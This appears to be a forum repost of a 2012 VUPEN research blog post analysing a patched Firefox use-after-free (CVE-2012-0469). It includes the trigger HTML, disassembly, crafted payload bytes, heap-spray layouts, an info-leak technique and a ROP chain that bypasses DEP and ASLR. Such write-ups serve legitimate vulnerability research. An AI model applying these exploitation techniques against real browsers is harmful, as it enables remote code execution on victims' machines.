Jump to content
Nytro

Advanced Exploitation of Mozilla Firefox Use-after-free Vulnerability (MFSA 2012-22)

Recommended Posts

Posted

Advanced Exploitation of Mozilla Firefox Use-after-free Vulnerability (MFSA 2012-22)

Published on 2012-06-25 17:45:24 UTC by Jordan Gruskovnjak, Security Researcher @ VUPEN

Hi everyone,

In this new blog, we will share our technical analysis of a use-after-free vulnerability affecting Mozilla Firefox, and how we managed to achieve a reliable code execution and bypass DEP/ASLR using the same unique and non-trivial-to-exploit flaw. This specific vulnerability (CVE-2012-0469) has been patched by Mozilla as part of the MFSA 2012-22 security advisory.

1. Technical Analysis of the Vulnerability

The vulnerability results from a use-after-free error which can be triggered with the following piece of code:

<html>
<script>
IDBKeyRange.only(43).lower;
</script>
</html>

When creating an IDBKeyRange object, the following piece of code is reached in xul.dll (version 11.0.0.4454):

.text:1080F5F6 int MakeOnlyKeyRange(JSContext *aCx, unsigned int aArgc, JS::Value *aVp)
.text:1080F5F6 push ebp
.text:1080F5F7 mov ebp, esp
...
.text:1080F61F push 38h // size
.text:1080F621 call operator new(uint)

A new object of size 0x38 is allocated on the heap, then the "IDBKeyRange()" constructor is called in order to initialize the object:

.text:1080F626 test eax, eax
.text:1080F628 pop ecx
.text:1080F629 jz short loc_1080F64B
.text:1080F62B push 1
.text:1080F62D push 0 // aIsOnly
.text:1080F62F push 0 // aUpperOpen
.text:1080F631 push eax // aLowerOpen
.text:1080F632 call mozilla::dom::indexedDB::IDBKeyRange::IDBKeyRange()

Then the "GetLower()" method is called in order to retrieve the value of the "lower" variable:

.text:10624C38 unsigned int mozilla::dom::indexedDB::IDBKeyRange ::GetLower(mozilla::dom::indexedDB::IDBKeyRange *this, JSContext *aCx, JS::Value *aLower)
.text:10624C38
.text:10624C38 this = dword ptr 4
.text:10624C38 aCx = dword ptr 8
.text:10624C38 aLower = dword ptr 0Ch
.text:10624C38 push esi
.text:10624C39 mov esi, [esp+4+this]
.text:10624C3D cmp byte ptr [esi+33h], 0
.text:10624C41 jnz short loc_10624C73
.text:10624C43 cmp byte ptr [esi+35h], 0
.text:10624C47 jnz short loc_10624C5A
.text:10624C49 push offset mozilla::dom::indexedDB::IDBKeyRange::cycleCollectorGlobal
.text:10624C4E push esi // aScriptObjectHolder
.text:10624C4F call nsContentUtils::HoldJSObjects
.text:10624C54 pop ecx
.text:10624C55 pop ecx
.text:10624C56 mov byte ptr [esi+35h], 1
.text:10624C5A
.text:10624C5A loc_10624C5A:
.text:10624C5A lea eax, [esi+20h]
.text:10624C5D push eax
.text:10624C5E push [esp+8+aCx] ; aVal
.text:10624C62 lea eax, [esi+8]
.text:10624C65 push eax ; aCx
.text:10624C66 call mozilla::dom::indexedDB::Key::ToJSVal
.text:10624C6B test eax, eax
.text:10624C6D js short loc_10624C84
.text:10624C6F mov byte ptr [esi+33h], 1
.text:10624C73
.text:10624C73 loc_10624C73:
.text:10624C73 mov ecx, [esi+20h]
.text:10624C76 mov eax, [esp+8+aCx]
.text:10624C7A mov [eax], ecx
.text:10624C7C mov ecx, [esi+24h]
.text:10624C7F mov [eax+4], ecx
.text:10624C82 xor eax, eax
.text:10624C84
.text:10624C84 loc_10624C84:
.text:10624C84 pop esi
.text:10624C85 retn 0Ch

Before retrieving the value of the "lower" member variable, the code adds a reference to the IDBKeyRange object to the Cycle Collector, and sets bytes at [this+0x35] and [this+0x33] to 1, which correspond to the mRooted and mHaveCachedLowerVal boolean variables.

Since no variable holds the reference of the IDBKeyRange object, it's eventually processed by the garbage collector and destroyed, thus calling the destructor of IDBKeyRange:

.text:105FF912 void mozilla::dom::indexedDB::IDBKeyRange ::~IDBKeyRange(mozilla::dom::indexedDB::IDBKeyRange *this)
.text:105FF912
.text:105FF912 this = dword ptr 4
.text:105FF912
.text:105FF912 push esi
.text:105FF913 mov esi, [esp+4+this]
.text:105FF917 lea ecx, [esi+14h] ; this
.text:105FF91A mov dword ptr [esi], offset const mozilla::dom::indexedDB::IDBKeyRange::`vftable'
.text:105FF920 call nsACString_internal::Finalize
.text:105FF925 lea ecx, [esi+8] ; this
.text:105FF928 call nsACString_internal::Finalize
.text:105FF92D pop esi
.text:105FF92E retn 4

During the destruction of the object, the destructor fails to release the reference of the IDBKeyRange object which is still present in the Cycle Collector by calling "nsContentUtils::DropJSObjects()".

When the Cycle Collector will be triggered, it will use the helper function mozilla::dom::indexedDB::IDBKeyRange::cycleCollection::Trace() in order to inspect the freed object:

.text:1053A8D8 void mozilla::dom::indexedDB::IDBKeyRange::Trace(mozilla::dom::indexedDB::IDBKeyRange::cycleCollection *this, void *p, void (__cdecl *aCallback)(unsigned int, void *, const char *, void *), void *aClosure)
.text:1053A8D8 push ebp
.text:1053A8D9 mov ebp, esp
.text:1053A8DB push ecx
.text:1053A8DC push ecx
.text:1053A8DD push esi
.text:1053A8DE mov esi, [ebp+p] // Retrieve freed object
.text:1053A8E1 mov eax, [esi+24h]
.text:1053A8E4 cmp eax, 0FFFFFF85h // Check the value of [esi+24h]
.text:1053A8E7 jb short loc_1053A901
.text:1053A8E9 mov eax, [esi+20h] // EAX will be processed
.text:1053A8EC test eax, eax
.text:1053A8EE jz short loc_1053A901
.text:1053A8F0 push [ebp+aClosure]
.text:1053A8F3 push offset aMcachedlowerva ; "mCachedLowerVal"
.text:1053A8F8 push eax
.text:1053A8F9 push 2
.text:1053A8FB call [ebp+aCallback] // CheckParticipatesInCycleCollection()

Eventually the [ESI+20h] dword value will be processed within the "js_GetGCThingTraceKind()" function in "mozjs.dll":

.text:10034C20 js::GetGCThingTraceKind()
.text:10034C20 thing = dword ptr 4
.text:10034C20
.text:10034C20 mov eax, [esp+thing]
.text:10034C24 and eax, 0FFFFF000h
.text:10034C29 mov ecx, [eax+0Ch] // crash here
.text:10034C2C and ecx, 0FFh
.text:10034C32 mov eax, ds:kind[ecx*4] // Retrieve the type of object
.text:10034C39 retn

Firefox will try to dereference an invalid value leading to an exploitable crash which could allow remote attackers to compromise a vulnerable system via a specially crafted web page.

2. Advanced Exploitation With ASLR/DEP Bypass

It is possible to achieve a reliable exploitation of this flaw and bypass DEP and ASLR.

The first step to achieve is to replace the freed object in order to control its data when the object is processed by the Cycle Collector. As seen in the previous section, the object size is 0x38 bytes.

One needs to craft a string with the offset at 0x20 having the value 0xFFFFFF85 in order to be processed by the "CheckParticipatesInCycleCollection()" function:

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x85\xFF\xFF\xFF\x41\x41\x41\x41\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

A Javascript code is used to replace the vulnerable object. A loop should be used to cause multiple allocations and trigger the Garbage Collector and the Cycle Collector.

Then the vulnerable object is replaced between the time the garbage collector frees the object and the time the cycle collector uses its invalid reference. Firefox then crashes in the "mozjs.dll" module:

.text:10034C20 js::GetGCThingTraceKind()
.text:10034C20 thing = dword ptr 4
.text:10034C20
.text:10034C20 mov eax, [esp+thing] // EAX is user-controlled
.text:10034C24 and eax, 0FFFFF000h
.text:10034C29 mov ecx, [eax+0Ch] // crashes here with EAX=0x41414000
.text:10034C2C and ecx, 0FFh
.text:10034C32 mov eax, ds:kind[ecx*4] // Retrieve the type of object
.text:10034C39 retn

The program performs the following pseudo code operations:

ptr = (attack_controlled_value & 0xFFFFF000)
idx = *(ptr + 0xc) & 0xFF
return kind[idx * 4]; // kind is a global array in .data section

Then the returned value is used in a switch statement within the "js::gc::MarkKind()" function of "mozjs.dll":

.text:1003BDF0 void js::gc::MarkKind (JSTracer *trc, void *thing, JSGCTraceKind kind)
.text:1003BDF0 mov eax, [esp+kind]
.text:1003BDF4 cmp eax, 6 // switch 7 cases
.text:1003BDF7 ja locret_1003BE82 // jumptable 1003BDFD default case
.text:1003BDFD jmp ds:off_1003BE84[eax*4] // switch jump
...
.text:1003BE17 $LN6_5:
.text:1003BE17 mov edx, [esp+thing] // jumptable 1003BDFD case 1
.text:1003BE1B mov eax, [esp+trc]
.text:1003BE1F push edx // thing
.text:1003BE20 push eax // trc
.text:1003BE21 call js::gc::Mark<JSString>(JSTracer *,JSString *)
.text:1003BE26 add esp, 8
.text:1003BE29 retn

When EAX == 1, the code path at 0x1003BE17 is taken leading to the call at 0x1003BE21 eventually calling the "js::gc::PushMarkStack()" function of "mozjs.dll":

.text:1003AC00 void js::gc::PushMarkStack(js::GCMarker *gcmarker, JSString *str<eax>)
.text:1003AC00 push esi
.text:1003AC01 mov esi, eax
.text:1003AC03 shr esi, 3
.text:1003AC06 and esi, 1FFFFh
.text:1003AC0C mov ecx, esi
.text:1003AC0E and ecx, 1Fh
.text:1003AC11 push edi
.text:1003AC12 mov edi, 1
.text:1003AC17 shl edi, cl
.text:1003AC19 mov ecx, eax
.text:1003AC1B and ecx, 0FFF00000h
.text:1003AC21 shr esi, 5
.text:1003AC24 lea edx, [ecx+esi*4+0FC0C4h]
.text:1003AC2B mov ecx, [edx]
.text:1003AC2D test edi, ecx
.text:1003AC2F jnz short loc_1003AC4C
.text:1003AC31 or ecx, edi
.text:1003AC33 mov [edx], ecx
.text:1003AC35 mov dl, [eax]
.text:1003AC37 not dl
.text:1003AC39 test dl, 1
.text:1003AC3C pop edi
.text:1003AC3D pop esi
.text:1003AC3E jz short loc_1003AC47
.text:1003AC40 mov edx, eax
.text:1003AC42 jmp js::gc::ScanLinearString
...
.text:1003AAC0 void js::gc::ScanLinearString(js::GCMarker *gcmarker, JSLinearString *str<edx>)
.text:1003AAC0 mov eax, [edx]
.text:1003AAC2 shr eax, 1
.text:1003AAC4 test al, 1
.text:1003AAC6 jz short locret_1003AB0E
...
.text:1003AB0E locret_1003AB0E:
.text:1003AB0E retn

This code path allows us to OR a dword at a certain location. This location is not totally arbitrary, but relative to the supplied value in the thing variable. Here is the pseudo code of the "js::gc::PushMarkStack()" function:

value = (thing >> 3) & 0x1F
value = (1 << value)
offset = (thing & 0x1FFFF) >> 5
base_addr = (thing & 0xFFF)
[base_addr + offset * 4 + 0xFC0C4] |= value

Since this is the only place where the controlled value is used for a useful operation in the exploitation perspective, one will have to find a way to control EIP using this pseudo code.

Even if the exploitation of this vulnerability does not seem as trivial as something like: "call [eax+40h]", it opens a possibility for an information leak since it causes a memory corruption.

To bypass ASLR on Windows 7 and Vista and achieve code execution, we will use three heap sprays. One heap spray will be used for the information leak, a second one to overwrite a DOM object, and a third one to perform the ROP.

1) Leaking the XUL base address

In order to perform the information leak, we will overwrite the length of a string in memory and use the overwritten string from Javascript in order to scan memory and find a vTable.

In Firefox, when a string is small enough, the Javascript string object and the string itself are contiguous in memory. For example when creating the string "AABBCCDDEEF" it will have the following memory layout:

length pointer to string \x41\x00\x41\x00 \x42\x00\x42\x00

\x43\x00\x43\x00 \x44\x00\x44\x00 \x45\x00\x45\x00 \x46\x00\x00\x00

The string object + string itself is then 0x20 bytes in memory. We then spray this string in memory and obtain a perfectly aligned heap spray of string objects.

Moreover the GC will append a bit array to the end of each page, in order to keep track of allocated strings. The memory layout will then be as shown below:

Address     Value
0A000000
..
0A000020 \xb4\x00\x00\x00\x28\x00\x00\x0a\x41\x00\x41\x00\x42\x00\x42\x00
0A000030 \x43\x00\x43\x00\x44\x00\x44\x00\x45\x00\x45\x00\x46\x00\x00\x00
&
0A0FBFE0 \xb4\x00\x00\x00\xE8\x00\x00\x0a\x41\x00\x41\x00\x42\x00\x42\x00
0A0FBFF0 \x43\x00\x43\x00\x44\x00\x44\x00\x45\x00\x45\x00\x46\x00\x00\x00
0A0FC000 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
&
0A0FC0C0 \x00\x00\x00\x00\x10\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11
&
0A0FFFD0 \x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
&
0A0FFFF0 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

Even though the bit array seems uninteresting, it will be useful in order to perform the information leak. As explained above, the following pseudo code inside the "js_GetGCThingTraceKind()" function will be used to retrieve an index which will later be used in a jump table:

ptr = (attack_controlled_value & 0xFFFFF000)
idx = *(ptr + 0xc) & 0xFF
return kind[idx * 4];

By supplying the value 0x0A0FFFF8, ptr will be equal to 0x0A0FF000. Then the value at 0x0A0FF00C is retrieved and will point to the bit array values of 0x11111111. Since a AND 0xFF is performed on the retrieved value, the idx variable is now 0x11. It happens that the 0x11th dword in the kind array has the value 0x1. This function thus returns 1 given the address 0x0A0FFFF8.

The call in the jump table with the index 1, will eventually lead Firefox to the "js::gc::PushMarkStack()" function which is where the actual memory corruption occurs. This pseudo code is then executed, again with the value 0x0A0FFFF8:

value = (thing >> 3) & 0x1F
value = (1 << value)
offset = (thing & 0x1FFFF) >> 5
base_addr = (thing & 0xFFF)
[base_addr + offset * 4 + 0xFC0C4] |= value

This code will then assign the following values to the variables:

value = 0x80000000
offset = 0xFFF
base_addr = 0x0A000000

The address that will be corrupted will be 0x0A1000C0, which happens to be the location of the length dword of the strings objects inside the heap spray. The string size will then be ORed with 0x80000000 giving a huge string length.

We can then just check the length of all strings and perform a memory search with the one having a huge size. Obviously the vTable that will be leaking is the vTable of the DOM objects heap spray located right after the short string heap spray.

2) Overwritting a DOM object pointer

Since the spray of DOM object does not have the bit array marker at the end of the page, the object spray will be split. The first half being a classic heap spray whose only purpose will be to contain the value 0x11 in order to take the good code path. The other will be an object spray.

The object used to perform the object spray is an HTML tag whose size is 0x80 bytes wide which results in an aligned heap spray.

At a first time, a spray of string of size 0x80000 will be performed. It will have the effect of forcing Firefox to create 0x100000 bytes pages, filling them with a 0x80000 bytes string and leaving the other half empty.

Then an object spray is performed which will fill the bottom half of the previously allocated memory.

Each page has then the following layout:

Address Values
&
14001000 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
&
14003000 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x11\x00\x00\x00
...
14081080 \x4C\xF2\xAE\x01\x34\xF7\xAE\x01\x00\x00\x00\x00\xXX\xXX\xXX\xXX
14081090 \xXX\xXX\xXX\xXX\x00\x00\x10\x00\x0E\x00\x00\x00\x00\x11\x08\x14
...
14081100 \x4C\xF2\xAE\x01\x34\xF7\xAE\x01\x00\x00\x00\x00\xXX\xXX\xXX\xXX
14081110 \xXX\xXX\xXX\xXX\x00\x00\x10\x00\x0E\x00\x00\x00\x80\x11\x08\x14

The dwords in green are the object vTable that will be leaked using the method presented above. Even if it seems practical to modify the vTable dword to point inside the heap spray, it is not always feasible under Windows 7. For example if the XUL vTable pointer is 0x68B7F24C, performing an OR operation on the MSB will not be useful. On the other hand, each dword in blue points to the object located just after. By overwriting the MSB of this pointer by 0x20000000, the pointer address MSB will become 0x3400000 and points inside a heap spray performing the ROP and shellcode execution.

Using the address 0x140036E8, allows achieving this:

ptr = (attack_controlled_value & 0xFFFFF000)
idx = *(ptr + 0xc) & 0xFF
return kind[idx * 4];

idx will be equal to [0x1400300C] = 0x11, the function will then return 1 and jump into the wanted code path.

Then, the following pseudo code is executed again:

value = (thing >> 3) & 0x1F
value = (1 << value)
offset = (thing & 0x1FFFF) >> 5
base_addr = (thing & 0xFFF)
[base_addr + offset * 4 + 0xFC0C4] |= value

Giving [0x140FC19C] |= 0x20000000, with the address 0x140FC19C pointing to the pointer to next object. The dword now points to address 0x340FC19C. By spraying the end of the heap spray used for the ROP with pointer to the beginning on the ROP, for example 0x34000000, the fake vTable will point in the beginning of the ROP.

Actually, the corruptions for the info leak and the DOM pointer overwrite, can be performed by replacing only one IDBKeyRange object. The complete code dealing with the freed object is as follows:

.text:1053A8D8 void mozilla::dom::indexedDB::IDBKeyRange::cycleCollection ::Trace(mozilla::dom::indexedDB::IDBKeyRange::cycleCollection *this, void *p, void (__cdecl *aCallback)(unsigned int, void *, const char *, void *), void *aClosure)
.text:1053A8D8 push ebp
.text:1053A8D9 mov ebp, esp
.text:1053A8DB push ecx
.text:1053A8DC push ecx
.text:1053A8DD push esi
.text:1053A8DE mov esi, [ebp+p] // Retrieve freed object
.text:1053A8E1 mov eax, [esi+24h]
.text:1053A8E4 cmp eax, 0FFFFFF85h // Check the value of [esi+24h]
.text:1053A8E7 jb short loc_1053A901
.text:1053A8E9 mov eax, [esi+20h] // EAX will be processed
.text:1053A8EC test eax, eax
.text:1053A8EE jz short loc_1053A901
.text:1053A8F0 push [ebp+aClosure]
.text:1053A8F3 push offset aMcachedlowerva ; "mCachedLowerVal"
.text:1053A8F8 push eax
.text:1053A8F9 push 2
.text:1053A8FB call [ebp+aCallback] //CheckParticipatesInCycleCollection()
...
.text:1053A901 cmp dword ptr [esi+2Ch], 0FFFFFF85h
.text:1053A905 mov eax, [esi+28h]
.text:1053A908 jb short loc_1053A91F
.text:1053A90A test eax, eax
.text:1053A90C jz short loc_1053A91F
.text:1053A90E push [ebp+aClosure]
.text:1053A911 push offset aMcachedupperva ; "mCachedUpperVal"
.text:1053A916 push eax
.text:1053A917 push 2
.text:1053A919 call [ebp+aCallback] //CheckParticipatesInCycleCollection()
...
.text:1053A921 retn 10h

The first overwrite can then be performed with the mCachedLowerVal field, and the second one will be performed with the mCachedUpperVal. The final exploit object will then looks as follows:

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\xFF\xFF\xFF\x41\x41\x41\x41\x85\xFF
\xFF\xFF \x42\x42\x42\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

3) Performing the ROP and triggering the overwritten pointer

Now that the XUL base address is leaked and the DOM object pointer has been overwritten, a ROP is performed in XUL:

Address              Value
34000000 xulBase + 16DCE // ADD ESP,14 / RET
34000004 90909090
34000008 90909090
3400000C 90909090
34000010 90909090
34000014 00000003 // Value checked by XUL leading to call [eax+2FC]
34000018 90909090
3400001C xulBase + 0x90D8 // POP EAX / RET
34000020 xulBase + 0xA28280 // Address of VirtualProtectEx() in XUL IAT
34000024 xulBase + 0x1C3B8 // JMP [EAX]
34000028 340000040 // Return address
3400002C FFFFFFFF // Arg1: -1
34000030 340000040 //Arg2: Address to change protection on
34000034 00001000 // Arg3: size = 4096
34000038 00000040 //Arg4: PROT_READ|PROT_WRITE|PROT_EXEC
3400003C 3300003C //Arg5: Address of oldprot
34000040 Shellcode
...
340002FC xulBase + 0x2AC0A // XCHG EAX,ESP / RET

After the ROP is performed, the vulnerability can be triggered again.

The dword at offset 0x14 needs to be 0x3 in order for a "call [eax+2FC]" to be triggered.

The dword at offset 0x2FC will then point to a gadget performing a stack pivot: XCHG EAX,ESP / RET.

Each object in the body will have its "getInnerHTML()" function called, including the overwritten object leading to code execution with ASLR and DEP bypass.

© Copyright VUPEN Security

Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Mozilla Firefox Use-after-free Vulnerabilities (MFSA 2012-22 / CVE-2012-0469)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...